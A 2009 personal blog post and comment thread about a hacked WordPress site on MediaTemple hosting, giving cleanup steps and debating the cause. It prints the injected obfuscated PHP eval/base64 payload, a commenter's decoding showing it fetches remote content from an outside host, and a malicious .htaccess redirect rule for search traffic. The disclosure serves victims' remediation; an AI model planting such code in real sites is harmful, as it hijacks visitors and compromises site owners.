across the network: Kyle Brady: Blog  |  Kyle Brady: Fiction  |  Kyle Brady: Status  |  Kyle Brady: Stream  |  Kyle Brady: Projects  |  Kyle Brady: Profile contact
across the internet: on Twitter | on Facebook | more...

Expose:

Wordpress, MediaTemple, and an Injection Attack



subscribe to Expose posts:  rss - email



[note:  there have been significant updates on why this is occurring, but the solutions to it remain relatively the same for the moment]

Sometime in the last week, my “kyle-brady.com” account with MediaTemple was compromised via a Wordpress 2.8.5 exploit, and it caused havoc for a few days – I finally noticed it on the evening of 11/6/2009, and it was finally resolved in the afternoon of 11/7/2009.

Here’s what happened:

  • an IP address from Texas submitted a POST request to Wordpress that somehow uploaded a file, which extracted itself and injected a piece of Javascript eval() code to execute after the </html> tag

  • a list of hundreds of URLs to assorted pages, mostly porn, appeared after the </html> tag on all pages of the site

  • for content created after the attack, it somehow embedded itself inside the Wordpress content, and all links redirected to a malware site – in addition to breaking the entire page


Here’s how to fix it:

  • remove the eval() code from “index.php” in the root Wordpress directory

  • delete and recreate, through the Wordpress panel (NOT directly in the database), all infected posts

  • delete the .nfs* file in the root Wordpress directory

  • if you’re really paranoid, replace all the Wordpress files with clean source

  • open the root .htaccess file and remove this code


I originally thought that someone may have gained access to Wordpress, or the server itself, and modified some themes files or something Apache-level, but this obviously wasn’t the case.  MediaTemple was essential in discovering both the problem and solution, even though it’s outside the realm of hosting – they’re the ones that discovered an IP in Texas made a POST request to upload a file, and they discovered exactly what was going on.

If MediaTemple had refused to help me, it would have been much more difficult to figure all of this out, since I’m not familiar enough with servers to easily run log searches, or other tools necessary for this sleuthing.  But they didn’t, and one of the Support Technicians (Mike M.) actually spent a few hours in the middle of the night poking around for me, and called me at 4:30am PST with a definitive solution.

Wordpress Security has already been contacted about this issue, to hopefully help others avoid this issue in the future.  Many thanks to MediaTemple, especially Mike M. and Chris K., for the unexpectedly awesome assistance.

--- --- ---

Update (11/8/2009 10:25pm PST): Thanks to Dan's discovery, the .htaccess editing has been included in the removal steps.

Update (11/12/2009 9:50pm PST): Evidence is mounting (in the comments below, the Wordpress bug ticket, and elsewhere) that while this may be a Wordpress exploit, it is appearing on other non-WP CMS installations, and may have a server-configuration component to it.  Details to come.

Update (11/15/2009 1:30pm PST): MediaTemple has been ignoring me for the last few days on this issue, and I've just been hit by the same attack in the last few hours - this time on Wordpress 2.8.6, the security release that was supposed to fix this.

Update (11/15/2009 2:10pm PST): I've decided to escalate this, and wrote about it at the Inquisitr.

Update (11/16/2009 12:30pm PST): I got a length, personal email from MediaTemple yesterday, and a long phone call today about this issue - I can't say alot right now, but MediaTemple is taking ownership of this problem, and is working on it.  Details to come soon.

--- --- ---

More details:

Uploaded File

named “.nfs*” in the root Wordpress directory
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?><!--5edfgh345--><?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>

Javascript Eval Code

found in “index.php” in the root Wordpress directory
<!--5edfgh345--><?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>

Example Link

found after the </html> tag on all pages, list of hundreds of similar URLs
<a href="http://e-officeadmin.com/kurkb/blow-dryer-tattoo.html">blow dryer tattoo</a>

.htaccess Code

found in the root ".htaccess file"
RewriteEngine On

RewriteOptions inherit

RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]

RewriteRule .* http://you-search.in/in.cgi?4&parameter=sf [R,L]


Expose pieces are irregular posts attempting to hold people and organizations accountable for their actions.
Kyle can be found on Twitter and MySpace, or reached via email.


subscribe to Expose posts:  rss - email

submit to reddit Add to Mixx! Share on Facbeook Retweet
Printable Version Printable Version

More Expose Pieces

see more...


Commenting Rules

The following is a basic set of rules that are enforced for all commenters.

Any violations of these rules will result in comment deletion, user bans, or both.

  1. No excessively foul language.
  2. No racist remarks.
  3. No SPAMing, unrelated linking, or otherwise unnecessary promotion of outside material.
  4. No trolling.
  5. Be respectful.
  6. Be valuable.
  7. Feel free to respond, argue, or counter-point an article - but do so coherently and intelligently.
  8. Use a personal nickname, commenting account, or moniker. Do not use your business' or website name/account.
  9. Do not trackback/pingback to this post unless your content is relevant.
also available as a standalone page

  • danwarne
    Hmmm, just discovered that my blog was infected with this exploit. I could not find any *.nfs files though in my Wordpress root. I found your post because of the "<!--5edfgh345-->" tag that had been added to the code -- presumably so the spread of the malware could be tracked by the author. Thanks for the removal instructions. Rather concerning that this has happened despite having a fully up-to-date version of Wordpress.
  • danwarne
    By the way, the base64 code that is embedded into the index.php translates to this:

    $l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){
    $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
    else{$r=implode("",file($l));} print @$r;
  • danwarne
    I can't find any content that has been infected with the code -- even stuff that was published as recently as yesterday. Was it easy to find ... e.g. clearly visible in the rendered HTML source of article pages?
  • Hi Dan,

    Sorry to hear that.

    It was clearly visible in the index.php file in the Wordpress root, and the index.php file actually mirrored exactly the .nfs* file I showed above.

    Maybe the file renames itself depending on the location? I'd suggest combing your Wordpress directory for files that look out of place - possibly any file that is .*, and isn't a .htaccess file. If it moves around, I'd be willing to bet it does so inside the Wordpress core files, and not plugins since those would be variable based on installs.

    Once you find that file and also remove the code from your index.php file, then you have to delete infected posts and repost them - I'm not sure how it does it, but it somehow hooks into the database's entries for these posts, so you have to handle that.

    Good luck, let me know if you figure it out.

    --Kyle
  • danwarne
    Thanks for the quick reply Kyle. I did find the eval code in the index.php file and removed that without any problem, however after removing that, I couldn't find it in any of the individual posts on the site. I'll keep looking though. Also can't see any files starting with '.' at this stage, other than .htaccess, but will keep looking...
  • You won't find it in the individual posts... it's sneakily hidden elsewhere in the database, which you won't find unless you go into MySQL yourself and have a good bit of luck to look in the right place, wherever that is.

    Maybe the .* file is meant to be deleted after installation, and it didn't happen for me? Not sure.

    --Kyle
  • danwarne
    Hey Kyle, I found the following in my .htaccess file for that blog which (if I'm correct) rewrites all the links to a malware-carrying site in India.

    RewriteRule .* http://you-search.in/in.cgi?4¶meter=sf [R,L]

    I'm still reading up on Apache rewrite rule syntax, so I'm not sure my interpretation is correct, but I wonder if this malware did this...? It's alarming to think malware could be rewriting .htaccess rules if so.
  • There we go! That's exactly the site my links went to - I didn't want to post it, for fear or spreading malware.

    You can just remove that line and that should fix alot of problems. It turns out that was in my .htaccess file too, although I don't know why it wasn't working...?

    Good catch.

    --Kyle
  • danwarne
    ahhh... found more info on this. This is what I found at the bottom of my .htaccess file (in fact I've found this malware in ALL my blogs now... argh!)

    http://www.webmasterworld.com/webmaster/3880821...
  • Me too - I've already removed most of those code blocks.

    I also updated this post to give you credit for it ;-)

    --Kyle
  • danwarne
    Thanks Kyle, greatly appreciate it! :-)

    One note: I am also a MediaTemple customer, which makes me wonder whether the exploit is using a hole in MediaTemple's setup.

    I changed my FTP/SFTP password to a long/complex password as a precaution, based on the off-chance that the exploit was done simply by logging in via FTP. However you said Mediatemple said it was via a POST...? Did they give you any more information about that?

    Also, these are the plugins I am using -- let me know what crossovers you have, which might help us narrow down if a plugin is presenting the vulnerability:

    Add Lightbox 0.4.1
    Ad Wrap 0.4
    Akismet 2.2.6
    All in One SEO Pack 1.6.7
    Chunk Urls for WordPress 2.0
    Custom Field Images 2.2.2
    Disable Trackbacks 1.0.0
    Edit Comments 0.3 beta
    FeedBurner FeedSmith 2.3.1
    Global Translator 1.2.6
    Google Adsense for Feeds 1.1
    Google News Sitemap 1.3.1
    Google XML Sitemaps 3.1.8
    IntenseDebate 2.4.2
    Lightbox 2 2.0.2
    More To The Top 1.1.0
    One Click Plugin Updater 2.4.14
    Optimize DB 1.3
    PHP Speedy WP 0.5.2
    Post-Plugin Library 2.6.2.1
    Recent Posts 1.07
    Reveal IDs for WP Admin 1.1.2
    SEO Friendly Images 2.4.4
    SEO Slugs 1.0
    Similar Posts 2.6.2.0
    Unfancy Quote 3.0
    WordPress.com Stats 1.5.4
    WordTwit 2.1.6.1
    WP-phpMyAdmin 2.10.3
    WP-RelativeDate 1.50
    Wp-UnitPNGfix 0.2.1
    WP S3 Backups 0.1.0
    WP Super Cache 0.9.7
  • No, it's definitely a Wordpress flaw, and at the very core of the Wordpress code... they put the POST request to a standard /wp-admin/upload.php.

    So it has nothing to do with (mt) or plugins, and everything to do with Wordpress itself - that's why I contacted their security team and filed a bug report.

    --Kyle
  • It doesnt matter what file it was post'd to, it could still be a dodgy plugin handling the request before WP has run its authentication steps..

    There has been someone else with the same issue a week or so ago, i'm not sure what came out of that..

    Its merely speculation unless you've go access to some deailed log files though (And i dont)..
  • Fair enough, but I don't run very many plugins, and they're all pretty standard at that - nothing that would handle file uploads before WP does auth.

    And half of them are ones I wrote anyway.

    --Kyle
  • What's needed to examine this deeper is the actual POST from the Apache log.
    The 1st check in the upload.php is to see if the current_user can upload a file, if not WordPress will die.

    I'm not sure how your blog is setup, multiple users can upload, only you can upload, but check if that IP has logged into your blog before the POST.
  • The logs only go back so far, and what we want has been lost at this point, but there's only two users - myself and admin, neither of which have been compromised.

    The whole point here is that this can happen without the proper auth - don't you think I'd be approaching this differently if it was an "OMG SOMEONE HAS MY PASSWORD!" issue?

    Yes.

    --Kyle
  • Have you confirmed you're the only two users in MySQL? There was an exploit earlier where a user was inserted then hidden in the WP admin via javascript. I'm not saying you're wrong, just mentioning it in case you want to check on it.
  • I hadn't until just now, because I didn't think of that, but... yes, the only users are legitimate ones.

    Both as Wordpress users and MySQL users.

    --Kyle
  • Not sure you need the "if you're really paranoid" qualifier about replacing the WP core files. I would say anytime your site is compromised to this extent, replacing all the WP code and preferably reverting to a known good state of any plugins and themes should be standard operating procedure.
  • Charlene
    Thanks Katy, I too have the <!--5edfgh345--> problem. Will try contacting MT about it.
  • "Kyle".

    My name is even in the URL.

    --Kyle
  • Charlene
    Sorry Kyle. Busy day.

    By the way the problem was solved removing the code. The code is being inserted into sites that don't run PHP at all. Not sure why, checking with MT who are being their usual unhelpful selves with me.
  • The .htaccess code gets inserted to all subdomains of the originator, as far as I can tell... for example, it started in "kyle-brady.com" and spread to "status.kyle-brady.com" (Wordpress) and then "projects.kyle-brady.com" (not Wordpress).

    Other than that, not much can spread if they don't run Wordpress or use PHP.

    --Kyle
  • sirkitree
    Man, thanks a lot - saved me a lot of time and headaches - but how to prevent this from happening once it's fixed?
  • sirkitree
    Thank you! This saved me a bunch of time and I'm sure headache. Also of note, I have a bunch of Drupal sites on the same server and they were all infected, although not working. Simply using the same methods here fixed them up just fine.
  • Glad to hear it.

    --Kyle
  • Jake
    I also had an infected drupal installation, but the weird thing is that I didn't have any wordpress installations on that server account. Are we certain it's due to a wordpress hole and not a mediatemple security flaw? My server was down for a while yesterday.

    Also, to clean the drupal installations, did you only fix the index.php and .htacess files or did you also have to clean entries out of the database (or any other files)?
  • Wordpress, and MediaTemple, seem to agree with me that this is a Wordpress issue. There could be a similar hack for Drupal - it wouldn't be impossible.

    Also, once the file gets onto your server somehow, it could potentially edit/trash/thrash any file on that server, regardless of code source.

    --Kyle
  • Ray Schamp
    I just finished reverting all the code on all 80 of my websites hosted on MT. It may be caused by a Wordpress hole, but then the script injected this code into every PHP file it could find in each of my "domains/<website>/html" directories. It didn't seem to go deeper than that, for some reason. Also, in the directories that contained an index.php file, if the .htaccess file was not there, the script created it.

    The goal of the script seemed to be putting a hidden, 0px x 0px absolutely positioned collection of links to porn on your site, so you wouldn't notice. Then, it redirects search traffic (since your website will now get indexed for searches of porn) to that "you-search.in" site (Mine had a different URL).

    Thanks for posting this — it got me on the right track to fixing my account. Thank God for svn! I could see exactly what they did to my stuff.
  • Wow, that's brutal.

    I should start using SVN for my Wordpress sites... that *would* make life alot easier.

    Congrats on the genius move!

    --Kyle
  • Ben
    I found the same thing earlier today on my MT account. Whatever it was seemed to work its way through all domains hosted and append the eval code at the end of the index.php file in the html folder. With the exception of the .htaccess, I can't seem to find anything else that was modified.

    How can I avoid this moving forward?
  • As has already been mentioned above, I'm not sure about moving forward, and there's an explanation for how it moved through all the hosted domains.

    --Kyle
  • elizabeth
    A friend (who knows that I use Media Temple and WordPress) just forwarded me this post. So far, my sites seem uninfected, but I am worried nonetheless.... Is there any way I can prevent this from happening?
  • Chris
    Thanks for writing this up. I can't find anything in the databases I have. I do see the .htaccess and index.php modifications, but nothing else. Can you provide more details about the databases and what to look for there?
  • No problem.

    I'm not entirely sure where - my solution was to copy the infected posts (through the Wordpress GUI) into a separate editor, delete the posts, and then repost them with the same back-dated URLs.

    --Kyle
  • Chris
    What are you calling 'infected posts'? Meaning they had obvious malicious links in them?
  • Chris
    Also, did MT or you discover the issue in Wordpress? Was it because you were running an older build or is this vulnerability current in 2.8.5? If so, can it be mitigated by removing the upload.php or another file?

    thanks!
  • If this is the same thing that has been buzzing around on the wp-hackers list lately then it actually appears to be a server configuration vulnerability that is using a user account inside of WP to get a file uploaded to the server. WordPress has released something to try to prevent allowing certain files from being uploaded even by a user with privileges.

    Although I may be getting things confused, here's the thread:

    http://groups.google.com/group/wp-hackers/brows...
  • Chris
    That's pretty nasty but wouldn't be the reason for this one. I don't have any low-privileged users - and this exploit requires one of them to log in then upload a nasty file. Hmmm, there must be something else going on, unless it's a Media Temple specific issue. I had the same exact infection symptoms you had, minus the database stuff, because I don't know what you mean by 'infected posts'.
    thanks!
  • That looks like it only works for verified users... the whole point here is that they did it without being a user.

    --Kyle
  • As I said in the post, "infected posts" are ones that had the link redirection effect, where older posts (made before the attack) didn't. I also said that this was with 2.8.5.

    --Kyle
  • Brian
    I was hit with something similar on my mediatemple grid account.
    The only difference is I don't run wordpress.
    All my sites are super simple (embarrassingly so).
  • Interesting...

    --Kyle
  • Ray Schamp
    Media Temple just replied to me with this:

    The actual attack occurred because your FTP password was hacked. On November 9th we noticed an increase in the number of FTP connection attempts to several of our (gs) Grid-Service accounts; some of the attempts were successful and some were not. Once gaining FTP access, the attacker then made the changes to your WordPress files. To prevent this happening again, you need to change your FTP password. This particular hack was not caused by a WordPress vulnerability. However, it is always a good idea to keep Wordpress as up-to-date as possible, because new hacks are being tested constantly, and the older your software is, the more vulnerable you are.
  • I don't buy that. FTP, SSH, etc. should all be prevented from being recipients of dictionary-attacks.

    I think there's a larger issue at hand, and I'm having (mt) look into it.

    --Kyle
  • Ray Schamp
    I think you're right, keep us posted. I'm following up on mine too.
  • ade3
    Thanks for the help tracking down that code. I have about 10 Wordpress sites hosted with MediaTemple that were affected. I noticed the problem when I looked at the robots.txt file. The weird thing was that I don't have a robots.txt file on my server! Somehow this exploit was generating a robots.txt file filled with spam. I don't get it. Anyway, thanks for the post.
  • Laz
    Same problem here with the exploit. Although I do run WordPress on the site (v2.6), the base64 code was written to custom php include files (ie. footer.php - outside of the WordPress directory) that have nothing to do with WordPress. I don't believe a specific script would be able to work in such a manner. Plus, the code was written to other domains within the same account whose code was completely different.

    On the other hand, I have another personal web site on Media Temple (with a different account) that was unaffected. Could the hacker have accessed a specific grid server?? The one that was exploited was on Grid Cluster:02 – Storage Segment:05
  • Hm... I didn't think about the Cluster bit. I used to be on 02, now I'm on 05, but maybe you're on to something?

    --Kyle
  • Ray Schamp
    FWIW, I'm Cluster 1, Storage 6. I believe MT when they say this wasn't a WP exploit as much as a MT exploit. How did they know how to access all the rest of the domains on my account without knowing how MT's hosting is set up? Why is the common thread MT customers rather than WP in general?
  • mydarndest
    I was compromised, also...
    (mt) account, Cluster 1
    It appears to have added the code to my index.php and .htaccess in the main "html" directory on all my sites on this grid server. I have 22 wordpress sites on my account.
    This is pretty much a pain in the rear.
    I have replaced the index.php and .htaccess
    Thanks for this post.
  • Laz
    The one MT web site that was not affected by the hack was on Cluster 1.
  • Bob
    All of my Joomla sites were hacked at the same time and same way as everyone else (on Nov 6). So, it's has nothing to do with your CMS.

    Also, Media Temple has suddenly encrypted the FTP passwords for both of my GS accounts.
  • gavinhall
    Ive just had a similar attack this morning on my MT account affecting two Magento sites. MT being helpful so far, but clearly not just Wordpress thats affected.
  • Hi - I run CenterNetworks and have been exploited and hacked so many times I can't even count anymore. Earlier this month I had Mosso lock down my theme so that they couldn't edit it anymore - basically they removed all permissions. Since then no footer hacks. However this morning I noticed that one post was edited and bad links added. This seems like it could be the same issue you faced Kyle - although I still am unsure how someone could edit a post without logging into the admin panel or using phpmyadmin. What I notice is that there is a post revision one minute after the post was complete that includes the bad links. I have since removed the links and saved but I will do what you suggest and delete and re-add. I am so fed up with all o f this hacking stuff - it's caused me to lose weeks of time since April - Wordpress blames Mosso, Mosso blames Wordpress - I did upgrade the other day to the .6 - who knows if that will help.
  • Hey Allen!

    From what I've been told by (mt) lately, this is 100% a server software/config issue. If you're not on (mt), then the patches that will result will likely help solve this problem, but almost all of the people in this situation are on (mt)...

    I'm convinced, and now (mt) is too, that it's not the CMS that's the problem.

    --Kyle
  • Chris
    This is starting to sound like a PHP vulnerability. MediaTemple runs very old builds of PHP - you either choose 4.4.8 or 5.2.6.

    PHP's 5.2 branch is currently at 5.2.11, with numerous security fixes along the way. The most nasty of which might be in 5.2.7 http://www.php.net/releases/5_2_7.php. Those are buffer overflows and remote code execution through PCRE and other avenues.

    Same thing for the 4.4 branch - http://www.php.net/releases/4_4_9.php.

    Ugh, sucks to be PHP, sucks to be MediaTemple who can't keep up with PHP patches for likely business reasons.
  • Chris,

    I'm not sure I'd pin this on PHP just yet... I run PHP5 by default on all my domains for (mt), and that's not too out-of-date.

    I'm betting it's something even lower than PHP, probably has to do with whatever they're using for a server (Apache?) and how it mixes with their custom virtualization code.

    But I'm just guessing.

    --Kyle
  • Chris
    Kyle, MediaTemple's PHP5 install is build 5.2.6 from May 2008. That's over 18 months old, and as I noted above, there have been numerous critical vulnerabilities publicly disclosed that lead to remote code execution on the server.

    We're all speculating here, but given that everyone is reporting this issue with Drupal, Joomla, Wordpress, and even static pages, I'm pointing to PHP. True it could be Apache too.

    MediaTemple runs Apace 2.0.54. Currently the 2.0 branch is at 2.0.63. You can check all Apache related SECURITY vulnerabilities in their CHANGELOG http://mirrors.devlib.org/apache/httpd/CHANGES_2.0. And yes, there have been several significant ones reported since the build MT is running.
  • Hm. I hadn't looked up what version of PHP5 they were running yet, but that is pretty old.

    However, from what I was told on the phone and the overall vibe, if it was as simple as a fix as upgrading their PHP installs, it would have already been done and they wouldn't be working 24 hours a day on this.

    It's something bigger. PHP may be involved as an entry point or in some other manner, but it's definitely not the endpoint.

    --Kyle
  • brian
    I had the same issue with a Joomla site on Mediatemple. I used a hex decoder and found out it was a redirect to http://tourreviews.asia/links2/link.php

    Anyone with this problem, try putting all of your code into this sites " http://home2.paulschou.net/tools/xlate/ " base64 window then translate to get the offending code in readable code.

    Make sure you update to the latest versions of Joomla or wordpress, and use PHP5 not 4.
    You'll have to go to the server admin control pannel to set your use PHP version 4 or 5.
    Regards..
  • Matt
    Hi, my (gs) account got hacked as well, and I can confirm that the hack is not confined to wp sites. I had a couple of wp sites and hand-built sites without any kind of cms/blogging backend on my (gs) account, and both types have been hacked by manipulating .htaccess and index.php. MediaTemple says that the ftp accounts got compromised, which I find a threadbare argument, as at least my ftp pw was 16+ chars long and QUITE hard to being brute-forced open. I hope that whatever back door the crackers used is closed by now.
  • Happened to me too, on Cluster 2. Jut a few verrry low-traffic Drupal sites. I had begun the process of ditching the grid months ago.
blog comments powered by Disqus
Kyle Brady: Blog
coherent thoughts on diverse topics


Site Navigation:
About Columns Ethics Rules Contact